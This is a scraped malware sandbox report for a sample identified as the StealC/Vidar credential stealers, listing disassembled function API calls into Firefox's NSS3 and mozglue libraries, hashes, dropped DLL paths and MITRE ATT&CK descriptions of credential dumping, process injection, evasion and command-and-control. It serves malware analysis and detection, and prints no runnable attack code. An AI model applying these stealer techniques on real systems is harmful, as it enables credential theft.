Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction ID: 79e1a2b9a945a7cdd6da3c25da324d2b87b92f674a031850191d99d355ed7790
Opcode Fuzzy Hash: 633dbb0f5b8fcf0114b94b5aaec388b656231d5fef2f48eb3fc923ca137bf525
Instruction Fuzzy Hash: 09217BB264EB49EFCA01DF11A547B127E73BF4A308710512AD52A4BB28DB3151889FDD

Function 6C640F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B

Part of subcall function 6C641370: GetSystemInfo.KERNEL32(?,?,?,?,6C640936,?,6C640F20,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000), ref: 6C64138F

PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Part of subcall function 6C641110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641130
Part of subcall function 6C641110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001,00000040), ref: 6C641142
Part of subcall function 6C641110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C640936,00000001), ref: 6C641167

Strings

clock, xrefs: 6C640F20

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction ID: 1844423cb9bcfea72ee5bdbefba9bbbadc5b925da43fda4c14c0cdf3bf9e1e7c
Opcode Fuzzy Hash: 7bd507447a5f1976987e775707a9416c202bbc8fe3c1cec1b89e647f1d5c469a
Instruction Fuzzy Hash: 48D0123160915495C7116B979C45F96BABCC7C367AF10CC76E22842D104A6450FAD36D

Function 6C6B0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C6B0DF5
TlsGetValue.KERNEL32 ref: 6C6B0E2D
TlsGetValue.KERNEL32 ref: 6C6B0E58
TlsGetValue.KERNEL32 ref: 6C6B0E84

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction ID: 744a035fe7b52c0740bfd871d8ace85b4727ddb01dd1260ce638e671f2d8d351
Opcode Fuzzy Hash: 462e8037a07cfb7133b150dfb5c5bd2667d678f7e5131b59f1a70f5412d4b6ec
Instruction Fuzzy Hash: B731E8F0645391CBDB005F78D6446A97FB4BF06348F118679E88897A11EB30D4A7CB89

Function 6C6B0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C652AF5,?,?,?,?,?,6C650A1B,00000000), ref: 6C6B0F1A
malloc.MOZGLUE(00000001), ref: 6C6B0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6B0F42
TlsGetValue.KERNEL32 ref: 6C6B0F5B

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction ID: ae60cf500922c526f57c7762f5cf6f2db0444915f73aba98d3560a5850282183
Opcode Fuzzy Hash: b39978b4c5730ffdd7426da3ea2737f22db2630b4c39097ec18d18a8074fedac
Instruction Fuzzy Hash: 8001DDF1F002506BE7101B3A9F049A67E6CEF52399F014171ED18D6A11EB31C465C7EA

Function 6C661EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C661ECE
free.MOZGLUE(?), ref: 6C661EDF
free.MOZGLUE(?), ref: 6C661EEF
free.MOZGLUE(?), ref: 6C661EF5

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction ID: e77b6c7f75642fe41c21af48cc66097eca8c0b5c486f7411565774c262e82046
Opcode Fuzzy Hash: 716390ef8a932694d11d5bf0a2beb0bdae00bd7f98d0cc809d6825187ef5dd7e
Instruction Fuzzy Hash: 09F054B17005056BEB009BA6EC45E6773ACFF45695B140435EC19C3E00D726F51596A6

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEHIDAKECFIEBGDHJEBK

C:\ProgramData\AFBFHDBKJEGHJJJKFIIJ

C:\ProgramData\BKECBAKFBGDGCBGDBAECAKJJEC

C:\ProgramData\DBGHDGHCGHCAAKFIIECFHCFBFC

C:\ProgramData\HDGIEBGHDAEBGDGCFIID

C:\ProgramData\IIEBGIDA

C:\ProgramData\JKKFIIEB

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre